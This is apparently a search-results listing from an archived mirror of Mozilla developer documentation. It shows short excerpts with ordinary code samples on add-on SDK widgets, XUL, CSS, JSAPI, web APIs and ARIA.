... just save the file in your add-on's data directory, and reference it using the data.url() method of the self module: var data = require("sdk/self").data; require("sdk/widget").widget({ id: "my-widget", label: "my widget", contenturl: data.url("my-content.html") }); this widget contains an entire web page: require("sdk/widget").widget({ id: "hello-display", label: "my hello widget", content: "hello!", width: 50 }); widgets are quite small by default, so this example used the width property to grow it in order to show all the text.
...And 25 more matches
Localization - Archive of obsolete content
localized strings translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale.
... the files: use the .properties format are named "xx-yy.properties", where "xx-yy" is the name of the locale in question contain one entry for each string you want to localize, consisting of an identifier for the string and its translation in that locale, in the format identifier=translation need to use utf-8 without bom encoding lines starting with "#" (after optional whitespace) are comments suppose your add-on contains a single localizable string, represented in english as "hello!", and you want to supply us english and french french localizations.
... you'd add two files to the "locale" directory: my-addon/ data lib locale/ en-us.properties fr.properties "en-us.properties" contains this: hello_id= hello!
...And 25 more matches
Displaying Places information using views
places provides the following built-in views: tree menu toolbar instantiating the three built-in views are simply standard xul elements with a special type attribute whose value is "places".
... every xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views.
... the following example uses the built-in tree view to display bookmarks whose titles or urls contain "mozilla".
...And 25 more matches
Border-image generator - CSS: Cascading Style Sheets
border image generator html content <div id="container"> <div id="gallery"> <div id="image-gallery"> <img class="image" src="https://udn.realityripple.com/samples/2c/fa0192d18e.png" data-stateid="border1"/> <img class="image" src="https://udn.realityripple.com/samples/b8/dacdd63e77.png" data-stateid="border2"/> <img class="image" src="https://udn.realityripple.com/samples/07/1fcc357205.png" data-stateid="border3"/> <img class="image" src="https://udn.realityripple.com/samples/7b/dd37c1d691.png" data-stateid="border4"/> <img class="image" src="https://udn.realityripple.com/samples/a9/b9fff72dab.png" data-stateid="bord...
...er5"/> <img class="image" src="https://udn.realityripple.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-url" type="text" placeholder="load an image from url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="sca...
...le" data-unit="%" data-max="300" data-sensivity="10"> </div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </div> <div class="property right"> <div class="name">section height</div> <div class="ui-input-slider" data-topic="preview-area-height" data-min="400" data-max="1000"> </div> </div> </div> <div id="preview_section" class="group section"> <div id="subject"> <div class="guideline" data-axis="y" data-topic="slice-top"></div> ...
...And 25 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
because it is more familiar, we will refer to ecmascript as "javascript" from this point on.
... numbers numbers in javascript are "double-precision 64-bit format ieee 754 values", according to the spec — there's no such thing as an integer in javascript (except bigint), so you have to be a little careful.
...this takes the base for the conversion as an optional second argument, which you should always provide: parseint('123', 10); // 123 parseint('010', 10); // 10 in older browsers, strings beginning with a "0" are assumed to be in octal (radix 8), but this hasn't been the case since 2013 or so.
...And 25 more matches
Promises - Archive of obsolete content
a task example like the following: components.utils.import("resource://gre/modules/task.jsm"); task.spawn(function* () { var response = yield request("login", { username: user, password: password }); if (response.messages) { try { yield publish({ username: user, messages: response.messages }); } catch (e) { self.reporterror("publication failed", e); } } }); can be converted to a pure pro...
...mise-based equivalent as such: request("login", { username: user, password: password }) .then(response => { if (response.messages) return publish({ username: user, messages: response.messages }); }) .then(null, (e) => { self.reporterror("publication failed", e); }); file io file io in add-ons should be done via the os.file api, which provides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files.
... representative example usage components.utils.import("resource://gre/modules/osfile.jsm"); task.spawn(function* () { // retrieve file metadata to check modification time.
...And 24 more matches
Introduction to XUL - Archive of obsolete content
xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built.
... terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a hammer.
... the term "cross-platform ui" is somewhat misleading.
...And 24 more matches
Client-side form validation - Learn web development
you'll get messages such as: "this field is required" (you can't leave this field blank).
... "please enter your phone number in the format xxx-xxxx" (a specific data format is required for it to be considered valid).
... "please enter a valid email address" (the data you entered is not in the right format).
...And 24 more matches
UI pseudo-classes - Learn web development
an <input type="checkbox"> with the checked attribute set, or an <option> element with the selected attribute set).
...for example: <form> <fieldset> <legend>feedback form</legend> <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> </div> <div> <label for="lname">last name: </label> <input id="lname" name="lname" type="text" required> </div> <div> <label for="email">email address (include if you want a response): </label> <input id="email" name="email" type="email"> </div> <div><button>submit...
...second, the standard convention on the web for required status is an asterisk (*), or the word "required" being associated with the controls in question.
...And 24 more matches
Client-Server Overview - Learn web development
previous overview: first steps next now that you know the purpose and potential benefits of server-side programming we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
...you might for example use a head request to find out the last time a resource was updated, and then only use the (more "expensive") get request to download the resource if it has changed.
...url parameters are inherently "insecure" as they can be changed by users and then resubmitted.
...And 24 more matches
Extending a Protocol
once it's compiled, ./mach run and you should be able to spin up the developer console and type: navigator.echo("hi!"); that will return a pending promise that never settles.
... in ipdl there two kinds of "actors" - a "parent" and "child" - these actors are literally implemented as c++ classes, so they are more than just abstract ideas.
...as dom apis have access to the window object, we generally want to use the "pwindowglobal" protocol to manage things for us: this protocol is convinient because we can easily access it from the window object...
...And 24 more matches
CustomizableUI.jsm
if you want to use it from a jsm or another context without a window reference, you need to import it yourself: components.utils.import("resource:///modules/customizableui.jsm"); introduction the module is intended for two primary purposes: allow adding, moving and removing customizable widgets.
...when a customizable toolbar's xbl binding is constructed (generally, that is when a <toolbar customizable="true"/> node is appended to the document and isn't invisible), the binding will call into customizableui and register the toolbar's node as being one of the concrete instances of its area.
... the lifetime of your widget should be identical to the lifetime of the add-on - it's process-global, so if you call createwidget on bootstrap's "startup" and destroywidget on bootstrap's "shutdown", that's enough.
...And 24 more matches
A guide to searching crash reports
searching the search form you can get to the search page by clicking on the "super search" link near the toolbar at the top right of any page in crash-stats.
...the product field is pre-populated with "firefox" because that is a common case.
... the default search: signature facet if you click on the "search" button, you will get results like the ones in the following screenshot.
...And 24 more matches
JS_GetGCParameter
shold_factor, jsgc_allocation_threshold_factor_avoid_interrupt, jsgc_nursery_free_threshold_for_idle_collection, jsgc_pretenure_threshold, jsgc_pretenure_group_threshold, jsgc_nursery_free_threshold_for_idle_collection_percent, jsgc_min_nursery_bytes, jsgc_min_last_ditch_gc_period, } jsgcparamkey; value (c++/js shell) description jsgc_max_bytes / "maxbytes" maximum nominal heap before last ditch gc.
... jsgc_max_malloc_bytes / "maxmallocbytes" number of js_malloc bytes before last ditch gc.
... jsgc_max_nursery_bytes / "maxnurserybytes" maximum size the nursery may grow to, or 0 to disable generational gc.
...And 24 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
this uses the char and charoff to establish the alignment character (typically "." or "," when aligning numerical data) and the number of characters that should follow the alignment character.
...to apply character-based alignment, set the css text-align property to the alignment character (such as "." or ",").
...typical values for this include a period (".") or comma (",") when attempting to align numbers or monetary values.
...And 24 more matches
ui/frame - Archive of obsolete content
constructing frames the frame constructor takes one mandatory option, which is a url pointing to an html document supplied under your add-ons "data" directory.
... for example, this html document defines a <select> element and a couple of <span> elements, and includes a css file to style the content and a javascript script to implement behavior: <!doctype html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame(...
...{ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the content window.
...And 23 more matches
Preferences - Archive of obsolete content
here are two examples: // get the root branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefbranch); // get the "extensions.myext." branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); prefs = prefs.getbranch("extensions.myext."); simple types there are three types of preferences: string, integ...
...using them is as easy as: // get the "accessibility." branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice).getbranch("accessibility."); // prefs is an nsiprefbranch.
...var value = prefs.getboolpref("typeaheadfind"); // get a pref (accessibility.typeaheadfind) prefs.setboolpref("typeaheadfind", !value); // set a pref (accessibility.typeaheadfind) complex types as noted in the previous section, each entry in the preferences database (prefs.js) must have a string, an integer, or a boolean value.
...And 23 more matches
Tabbed browser - Archive of obsolete content
of course the entire application firefox is called "a browser".
...furthermore another meaning of 'browser' in this document and in some firefox source is "the tabbrowser element" in a firefox xul window.
...rfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.gbrowser.addtab(...); from a dialog if your code is running in a dialog opened directly by a browser window, you can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipula...
...And 23 more matches
NSS Tools modutil
in this context, the term "password" is equivalent to a personal identification number (pin).
...if so, the metainfo file for the netscape signing tool would include a line such as this: + pkcs11_install_script: pk11install the sample script file could contain the following: forwardcompatible { irix:6.2:mips sunos:5.5.1:sparc }platforms { winnt::x86 { modulename { "fortezza module" } modulefile { win32/fort32.dll } defaultmechanismflags{0x0001} defaultcipherflags{0x0001} files { win32/setup.exe { executable relativepath { %temp%/setup.exe } } win32/setup.hlp { relativepath { %temp%/setup.hlp } } win32/setup.cab { relativepath { %temp%/setup.cab } }...
... } } win95::x86 { equivalentplatform {winnt::x86} } sunos:5.5.1:sparc { modulename { "fortezza unix module" } modulefile { unix/fort.so } defaultmechanismflags{0x0001} cipherenableflags{0x0001} files { unix/fort.so { relativepath{%root%/lib/fort.so} absolutepath{/usr/local/netscape/lib/fort.so} filepermissions{555} } xplat/instr.html { relativepath{%root%/docs/inst.html} absolutepath{/usr/local/netscape/docs/inst.html} filepermissions{555} } } } irix:6.2:mips { equivalentplatform { sunos:5.5.1:sparc } }} script grammar the script file grammar is as follows: --> valuelistvaluelist --> value valuelist <null>value ---> ...
...And 23 more matches
Hacking Tips
note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace".
... step next a few times, so that the "code" variable gets generated print code->code_, which is the address of the code disassembly code read at this address (using x/ni address, where n is the number of instructions you would like to see) here is an example.
...(gdb) r starting program: /home/code/mozilla-central/js/src/32-release/js -f /home/code/jaeger.js [thread debugging using libthread_db enabled] using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
...And 23 more matches
Using Objective-C from js-ctypes
speech synthesis example let's start with the following objective-c code, which invokes the speech synthesis api to say "hello, firefox!".
... #import <appkit/appkit.h> int main(void) { nsspeechsynthesizer* synth = [[nsspeechsynthesizer alloc] initwithvoice: nil]; [synth startspeakingstring: @"hello, firefox!"]; // wait until start speaking.
... class objc_getclass(const char *name); in /usr/include/objc/objc.h, class is defined as an opaque type by the following: typedef struct objc_class *class; in this example, we need the classnsspeechsynthesizer, which is retrieved with the following code: class nsspeechsynthesizer = objc_getclass("nsspeechsynthesizer"); registering a selector selectors can be registered and retrieved with sel_registername function, also declared in /usr/include/objc/runtime.h.
...And 23 more matches
SubtleCrypto.verify() - Web APIs
to use rsassa-pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }.
... to use hmac, pass the string "hmac" or an object of the form { "name": "hmac" }.
... /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation.
...And 23 more matches
Intl.DateTimeFormat() constructor - JavaScript
unicode extension are supported (for example "en-us-u-ca-buddhist").
...possible values include: "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".
...possible values include: "buddhist", "chinese", "coptic", "ethiopia", "ethiopic", "gregory", "hebrew", "indian", "islamic", "iso8601", "japanese", "persian", "roc".
...And 23 more matches
RDF Datasource How-To - Archive of obsolete content
the xpcom registration parts and the "as of this writing, it is not currently possible to implement javascript xpcom components" comment seem outdated didn't check the whole article.
...the "rdf universe" consists of a set of statements about internet resources; for example, "my home page was last modified april 2nd", or "that news article was sent by bob".
...for example, a "file system datasource" would translate the file system into statements like "/tmp is a directory" and "/tmp/foo is contained within /tmp".
...And 22 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
a definition of terms xpinstall is an installer technology, and the name itself stands for "cross platform install" (hence "xp" -- an abbreviation for "cross platform").
... an xpinstall package is usually called an xpi package for short (and often pronounced "zippy").
...xpi packages, like zip files, "contain" other files, typically: the software component to be installed.
...And 22 more matches
Focus management with Vue refs - Learn web development
specifically, when a user activates the "edit" button, we remove the "edit" button from the dom, but we don't move the user's focus anywhere, so in effect it just disappears.
...the focus should move to the "add" button.
...one more time, and focus should be on the first "edit" button.
...And 22 more matches
about:memory
perhaps you want to investigate it yourself, or perhaps someone has asked you to use about:memory to generate "memory reports" so they can investigate a problem you are having.
...once firefox's memory usage has gotten high) open a new tab and type "about:memory" into the address bar and hit "enter".
... if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button.
...And 22 more matches
JSAPI Cookbook
to query whether a value has a particular type, use a correspondingly named member testing function: // javascript var v = computesomevalue(); var isstring = typeof v === "string"; var isnumber = typeof v === "number"; var isnull = v === null; var isboolean = typeof v === "boolean"; var isobject = typeof v === "object" && v !== null; /* jsapi */ js::rootedvalue v(cx, computesomevalue()); bool isstring = v.isstring(); bool isnumber = v.isnumber(); bool isint32 = v.isint32(); // note: internal representation, not numeric value bool isnull = v.isnull(); bool isboolea...
...n = v.isboolean(); bool isobject = v.isobject(); // note: not broken like typeof === "object" is :-) to set a value use a correspondingly named member mutator function, or assign the result of the correspondingly named standalone function: // javascript var v; v = 0; v = 0.5; v = somestring; v = null; v = undefined; v = false; /* jsapi */ js::rootedvalue v(cx); js::rootedstring somestring(cx, ...); v.setint32(0); // or: v = js::int32value(0); v.setdouble(0.5); // or: v = js::doublevalue(0.5); v.setstring(somestring); // or: v = js::stringvalue(somestring); v.setnull(); // or: v = js::nullvalue(); v.setundefined(); // or: v = js::undefinedvalue(); v.setboolean(false); // or: v = js::booleanvalue(false); finding the global object many of these re...
... */ if (!js_definefunction(cx, global, "justforfun", &justforfun, 0, 0)) return false; to define many jsapi functions at once, use js_definefunctions.
...And 22 more matches
Address Book examples
let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(components.interfaces.nsiabmanager); let alladdressbooks = abmanager.directories; while (alladdressbooks.hasmoreelements()) { let addressbook = alladdressbooks.getnext() .queryinterface(components.interfaces.nsiabdirectory); if (addressbook instanceof components.interfaces.nsiabdirectory) { //...
... or nsiabitem or nsiabcollection // alert ("directory name:" + addressbook.dirname); ...
...assuming you have the uri, then use the address book manager to get an nsiabdirectory representing the address book: let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(components.interfaces.nsiabmanager); let oneaddressbook = abmanager.getdirectory(addressbookuri); how do i search for a particular contact property (name, email)?
...And 22 more matches
Using the User Timing API - Web APIs
there are two types of user defined timing entry types: the "mark" entry type and the "measure" entry type.
... function create_marks(ev) { if (performance.mark === undefined) { log("create marks: performance.mark not supported", 0); return; } else { log("create marks", 0); // create several performance marks including two with the same name performance.mark("mark-1"); do_work(50000); performance.mark("mark-2"); do_work(50000); performance.mark("mark-2"); var marks = ["mark-1", "mark-2", "mark-2"]; for (var i=0; i < marks.length; i++) log("...
... created mark = " + marks[i], 0); } retrieving performance marks the performance interface has three methods to retrieve marks.
...And 22 more matches
ARIA live regions - Accessibility
including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using javascript.
...aria-controls="myregionid1 myregionsid2".
... normally, only aria-live="polite" is used.
...And 22 more matches
ARIA annotations - Accessibility
aria annotations features the aria attributes providing these new abilities are as follows: aria-description="" — provides a detailed description of an html element, as opposed to the brief label provided by aria-label.
... role="insertion" and role="deletion" — semantically denote html elements whose contents represent an insertion to or deletion from the overall document.
... role="mark" — semantically denotes html elements containing text that is marked/highlighted for reference purposes.
...And 22 more matches
Using CSS gradients - CSS: Cascading Style Sheets
<div class="simple-linear"></div> div { width: 120px; height: 120px; } .simple-linear { background: linear-gradient(blue, pink); } changing the direction by default, linear gradients run from top to bottom.
... <div class="horizontal-gradient"></div> div { width: 120px; height: 120px; } .horizontal-gradient { background: linear-gradient(to right, blue, pink); } diagonal gradients you can even make the gradient run diagonally, from corner to corner.
... <div class="diagonal-gradient"></div> div { width: 200px; height: 100px; } .diagonal-gradient { background: linear-gradient(to bottom right, blue, pink); } using angles if you want more control over its direction, you can give the gradient a specific angle.
...And 22 more matches
Microformats - HTML: Hypertext Markup Language
for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named alice blogger with a url of http://alice.example.com/.
... "h-*" for root class names, e.g.
... "h-card", "h-entry", "h-feed", and many more.
...And 22 more matches
Grammar and types - JavaScript
for example, the word früh (which means "early" in german) could be used as a variable name.
... let früh = "foobar" but, the variable früh is not the same as früh because javascript is case sensitive.
... because javascript is case sensitive, letters include the characters "a" through "z" (uppercase) as well as "a" through "z" (lowercase).
...And 22 more matches
XUL Questions and Answers - Archive of obsolete content
support for non-rdf datasources for xul template is planned (bug 321170): xml datasources (bug 321171) storage (sqlite) datasources (bug 321172) when loading an xslt stylesheet into an xml i get the error: "error loading stylesheet: an xslt stylesheet load was blocked for security reasons." that error is from a security check that has been put up to safeguard against cross-site-scripting attacks.
... hidechrome="true" doesn’t work on a mac?
...a workaround is to open the content in a new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument.
...And 21 more matches
Multiple Firefox profiles
the release channel is recommended for most users, as it is the "official release" channel.
... the page presents a list of all of your profiles, each beginning with "profile: " followed by its name.
... the one being run by this firefox instance will include the bold text "this is the profile in use" for example, if you find that text beneath the entry for "profile: suzie", then you are running in a profile named suzie.
...And 21 more matches
Starting WebLock
for example, in the case of the xpcom shutdown observation, asubject and adata are not defined, and atopic is defined as the string "xpcom-shutdown".
...for example, you might have a category named "important people" in which the name-value pairs would be names and phone numbers.
...the category name also maps nicely onto the notion of a notification "topic." the topic name could be something like "xpcom-startup", for instance, and the name-value pair could contain the contract ids required to create the components requesting startup.
...And 21 more matches
Xptcall Porting Status
status status platform contributors and <font color="red">?</font> possible contributors notes <font color="white">done</font> win32 x86 john bandhauer <jband@netscape.com> win32 <font color="white">done</font> linux x86 john bandhauer <jband@netscape.com> ulrich drepper <drepper@cygnus.com> unix <font color="white">done</font> freebsd and netbsd x86 christoph toshok <toshok@hungry.com>, john bandhauer <jband@netscape.com> unix (same as l...
...inux 86 code) <font color="white">done</font> bsd/os x86 bert driehuis <bert_driehuis@nl.compuware.com> unix (same as linux 86 code) bert contributed patches that *should* do the right thing for all the unixish-x86 versions of this code for gcc 2.7 or 2.8 vs.
...bert's details <font color="white">done</font> mac ppc roger lawrence <rogerl@netscape.com>, patrick beard <beard@netscape.com> mac (passing tests and checked in) <font color="white">done</font> solaris sparc roger lawrence <rogerl@netscape.com>, chris mcafee <mcafee@netscape.com> unix this is checked in and working.
...And 21 more matches
Using files from web applications - Web APIs
this selection can be done by either using an html <input type="file"> element or by drag and drop.
... accessing selected file(s) consider this html: <input type="file" id="input" multiple> the file api makes it possible to access a filelist containing file objects representing the files selected by the user.
...you need to use eventtarget.addeventlistener() to add the change event listener, like this: const inputelement = document.getelementbyid("input"); inputelement.addeventlistener("change", handlefiles, false); function handlefiles() { const filelist = this.files; /* now you can work with the file list */ } getting information about selected file(s) the filelist object provided by the dom lists all of the files selected by the user, each specified as a file object.
...And 21 more matches
Using DTMF with WebRTC - Web APIs
the dtmf system is often referred to as "touch tone," after an old trade name for the system.
...when the tone buffer is empty, indicating that all the tones have been sent, a tonechange event with its tone property set to "" (an empty string) is delivered to the connection object.
... simple example this simple example constructs two rtcpeerconnections, establishes a connection between them, then waits for the user to click a "dial" button.
...And 21 more matches
Border-radius generator - CSS: Cascading Style Sheets
border-radius html content <div id="container"> <div class="group section"> <div id="preview" class="col span_12"> <div id="subject"> <div id="top-left" class="radius-container" data-x="left" data-y="top"> </div> <div id="top-right" class="radius-container" data-x="right" data-y="top"> </div> <div id="bottom-right" class="radius-container" data-x="right" data-y="bottom"> </div> <div id="bottom-left" class="radius-container" data-x="left" data-y="bottom"> </div> <div id="rad...
...ius-ui-sliders"> <div id="tlr" class="ui-input-slider" data-topic="top-left" data-unit=" px" data-sensivity="2"></div> <div id="tlw" class="ui-input-slider" data-topic="top-left-w" data-unit=" px" data-sensivity="2"></div> <div id="tlh" class="ui-input-slider" data-topic="top-left-h" data-unit=" px" data-sensivity="2"></div> <div id="trr" class="ui-input-slider" data-topic="top-right" data-unit=" px" data-sensivity="2"></div> <div id="trw" class="ui-input-slider" data-topic="top-right-w" data-unit=" px" data-sensivity="2"></div> <div id="trh" cla...
...ss="ui-input-slider" data-topic="top-right-h" data-unit=" px" data-sensivity="2"></div> <div id="brr" class="ui-input-slider" data-topic="bottom-right" data-unit=" px" data-sensivity="2"></div> <div id="brw" class="ui-input-slider" data-topic="bottom-right-w" data-unit=" px" data-sensivity="2"></div> <div id="brh" class="ui-input-slider" data-topic="bottom-right-h" data-unit=" px" data-sensivity="2"></div> <div id="blr" class="ui-input-slider" data-topic="bottom-left" data-unit=" px" data-sensivity="2"></div> <div id="blw" class="ui-input-slider" data-topic="bottom-l...
...And 21 more matches
mix-blend-mode - CSS: Cascading Style Sheets
alapplies toall elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax <blend-mode>where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity examples effect of different mix-blend-mode values <div class="grid"> <div class="col"> <div class="note">blending in isolation (no blending with the background)</div> <div class="row isolate"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <defs> <lineargradient id="red"> ...
... <stop offset="0" stop-color="hsl(0,100%,50%)" /> <stop offset="100%" stop-color="hsl(0,0%,100%)" /> </lineargradient> <lineargradient id="green"> <stop offset="0" stop-color="hsl(120,100%,50%)" /> <stop offset="100%" stop-color="hsl(120,0%,100%)" /> </lineargradient> <lineargradient id="blue"> <stop offset="0" stop-color="hsl(240,100%,50%)" /> <stop offset="100%" stop-color="hsl(240,0%,100%)" /> </lineargradient> </defs> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> ...
... <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> <div class="cell"> multiply <div class="container multiply"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> <div class="cell"> darken <div class="container darken"> <div class="group"> <div class="item firefox"></div> <svg viewbox="...
...And 21 more matches
Rich-Text Editing in Mozilla - Developer guides
setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe.
... once designmode has been set to "on", the document becomes a rich-text editing area and the user can type into it as if it were a textarea.
... similarly, setting contenteditable to "true" allows you to make individual elements of a document editable.
...And 21 more matches
Assertions - JavaScript
for example, /^a/ does not match the "a" in "an a", but does match the first "a" in "an a".
...for example, /t$/ does not match the "t" in "eater", but does match it in "eat".
... examples: /\bm/ matches the "m" in "moon".
...And 21 more matches
Strict mode - JavaScript
sometimes you'll see the default, non-strict mode referred to as "sloppy mode".
... javascript's strict mode, introduced in ecmascript 5, is a way to opt in to a restricted variant of javascript, thereby implicitly opting-out of "sloppy mode".
... strict mode for scripts to invoke strict mode for an entire script, put the exact statement "use strict"; (or 'use strict';) before any other statements.
...And 21 more matches
Content type - SVG: Scalable Vector Graphics
when used in the value of a property in a stylesheet, an <angle> is defined as follows: angle ::= number (~"deg" | ~"grad" | ~"rad")?
... when angles are used in an svg attribute, <angle> is instead defined as follows: angle ::= number ("deg" | "grad" | "rad")?
...the grammar for clock values is repeated here: clock-val ::= full-clock-val | partial-clock-val | timecount-val full-clock-val ::= hours ":" minutes ":" seconds ("." fraction)?
...And 21 more matches
Interacting with page scripts - Archive of obsolete content
in this example a page script adds a string variable foo to the window: <!doctype html"> <html> <head> <script> window.foo = "hello from page script" </script> </head> </html> the content script can see this object if it uses unsafewindow.foo instead of window.foo: // main.js var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var pageurl = self.data.url("page.html") var pagemod = mod.pagemod({ include: pageurl, ...
... contentscript: "console.log(unsafewindow.foo);" }) tabs.open(pageurl); be careful using unsafewindow: you can't rely on any of its properties or functions being, or doing, what you expect.
... expose objects to page scripts until firefox 30, you could use unsafewindow to perform the reverse procedure, and make objects defined in content scripts available to page scripts: // content-script.js unsafewindow.contentscriptobject = {"greeting" : "hello from add-on"}; // page-script.js var button = document.getelementbyid("show-content-script-var"); button.addeventlistener("click", function() { // access object defined by content script console.log(window.contentscriptobject.greeting); // "hello from add-on" }, false); after firefox 30, you can still do this for primitive values, but can no longer do it for objects...
...And 20 more matches
Custom XUL Elements with XBL - Archive of obsolete content
you should see a new item in the hello world menu, that opens a binding test window where you can add "persons" to a list.
...for now, just notice the opening part of the binding element: <binding id="person">.
...since you can have more than one binding per file, the "#person" part points to the id of the one we want.
...And 20 more matches
The Essentials of an Extension - Archive of obsolete content
since most other systems are unix-based, the "unix" skin is the default, with no flags.
... <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the root element in the file is an overlay.
... <script type="application/x-javascript" src="chrome://xulschoolhello/content/browseroverlay.js" /> just like in html, this includes a javascript script file.
...And 20 more matches
New Skin Notes - Archive of obsolete content
if you go to your user preferences, you can change the skin to "devmo".
...devmo skin vs cavendish skin --callek i can probably pull-off this patch if needed (quickly), so dria or others do not have to hunt up "how".
... --callek add "what not to do" css class to stylesheet, as discussed on talk:core javascript 1.5 reference.
...And 20 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid attribute that goes along w...
...ith the object element points to a "clsid:" urn followed by the unique identifier of an activex control (in the above example, the string beginning with "d27...").
...additional param elements (which are "children" of the above object element) specify configuration parameters for the flash plugin.
...And 20 more matches
Introducing a complete toolchain - Learn web development
you would handcode the html, use "vanilla javascript" (meaning no frameworks or intermediary languages), and manually upload it all to a server for hosting.
...netlify is what provides the "home on the web" mentioned above — free hosting for us to deploy our test app to.
... once you've signed up for github (click the sign up link on the homepage if you don't already have an account, and follow the instructions), you can use your github account for authentication on netlify (click sign up, then choose github from the "sign up with one of the following" list), so technically you only need to create one new account.
...And 20 more matches
Debugging on Windows
enable it by going its configuration menu in "debug > other debugging targets > child process debugging settings", and ticking the box.
...you can click "start" button to run firefox then, already attached in the debugger.
...hit "cancel".
...And 20 more matches
nsITextInputProcessor
you can create an instance of this interface with the following code: var tip = components.classes["@mozilla.org/text-input-processor;1"].
... the following example sets "foo-bar-buzz", "bar" is selected clause to convert, and caret position is the end of the selected clause: // first, sets composition string.
... tip.setpendingcompositionstring("foo-bar-buzz"); // next, append clauses.
...And 20 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
opening the about:debugging page there are several different ways to open about:debugging: type "about:debugging" in the firefox url bar.
... in the tools > web developer menu, click "service workers".
... select the web developer menu under the hamburger menu (), then select "service workers".
...And 20 more matches
SubtleCrypto.wrapKey() - Web APIs
the wrapkey() method of the subtlecrypto interface "wraps" a key.
...this is sometimes called the "wrapping key".
... to use aes-kw, pass the string "aes-kw", or an object of the form { "name": "aes-kw }.
...And 20 more matches
ARIA: row role - Accessibility
an element with role="row" is a row of cells within a tabular structure.
